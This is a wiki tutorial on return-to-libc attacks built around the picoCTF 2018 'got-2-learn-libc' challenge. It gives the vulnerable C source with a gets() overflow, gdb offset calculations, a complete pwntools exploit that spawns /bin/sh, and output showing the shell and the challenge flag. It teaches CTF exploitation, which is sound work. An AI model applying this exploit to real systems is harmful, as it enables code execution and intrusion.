Return-to-libc-attack

From aldeid
Jump to navigation Jump to search

Description

libc

The libc library contains thousands common functions (e.g. printf, fopen, fclose, ...).

Buffer overflow

Buffer overflows generally expect the stack to be executable. However, some systems (e.g. Fedora) are preventing the stack from being executable. This protection is not fool-proof though, and we could still perform a return-to-libc attack.

return-to-libc

The return-to-libc attack will still require a buffer-overflow, but does not require a shellcode. Instead, this attack will force the program to jump to an existing code, more spefically the return address to point to a function within libc, usually system.

This attack is commonly used to access the system function of libc with /bin/sh passed as argument: system('/bin/sh'). It requires:

  • to know the memory address of system during runtime
  • the address that points to the string /bin/sh

Proof of Concept

Vulnerable Code

The following code comes from the picoCTF 2018 challenge

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");
  
  vuln();

  
  return 0;
}

Quick analysis:

  • The main function displays addresses of some functions of the libc library (running the program several times, you can see that these address are changing, due to ASLR) and jumps to the vuln function.
  • The vuln function sets a buffer of 148 bytes (we will obviously need to overflow it), asks for a string and displays it.
  • Interestingly, we are also provided with the string /bin/sh which will be in the stack, and stored in the useful_string variable.

Compute the offset

Let's first compute the offset (memory address gap) between system and any other function of the libc library (we'll choose puts):

$ gdb -q /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln
Reading symbols from /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x812
(gdb) r
Starting program: /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln 

Breakpoint 1, 0x56565812 in main ()
(gdb) p puts
$1 = {<text variable, no debug info>} 0xf7665140 <puts>
(gdb) p system
$2 = {<text variable, no debug info>} 0xf7640940 <system>

During runtime, we'll find the real address of puts in memory and we will substract this offset to determine the real address of system.

Code of the exploit

#!/usr/bin/env python
import pwn
import re

# In GDB
gdb_puts = 0xf7665140
gdb_system = 0xf7640940
offset = gdb_puts - gdb_system

#elf = pwn.ELF('./vuln')
elf = pwn.ELF('/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln')
p = elf.process()
output = p.recv()

# runtime memory addresses
mem_puts          = int(re.findall('puts: (.*)', output)[0], 16)
mem_useful_string = int(re.findall('useful_string: (.*)', output)[0], 16)
# retrieve real address of system
mem_system = mem_puts - offset

# execute system('/bin/sh')
payload  = 'A'*160                    # buffer overflow
payload += pwn.p32(mem_system)        # system
payload += 'B'*4                      # return address
payload += pwn.p32(mem_useful_string) # /bin/sh

p.sendline(payload)
p.interactive()

Here is the code output, showing that we now have a shell:

$ python2 flag.py 
[*] '/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln': pid 3449587
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x19Z�BBBB0`\V
Thanks! Exiting now...
$ cd /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/
$ ls
flag.txt  vuln    vuln.c
$ cat flag.txt
picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa}$ 
[*] Stopped process '/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln' (pid 3449587)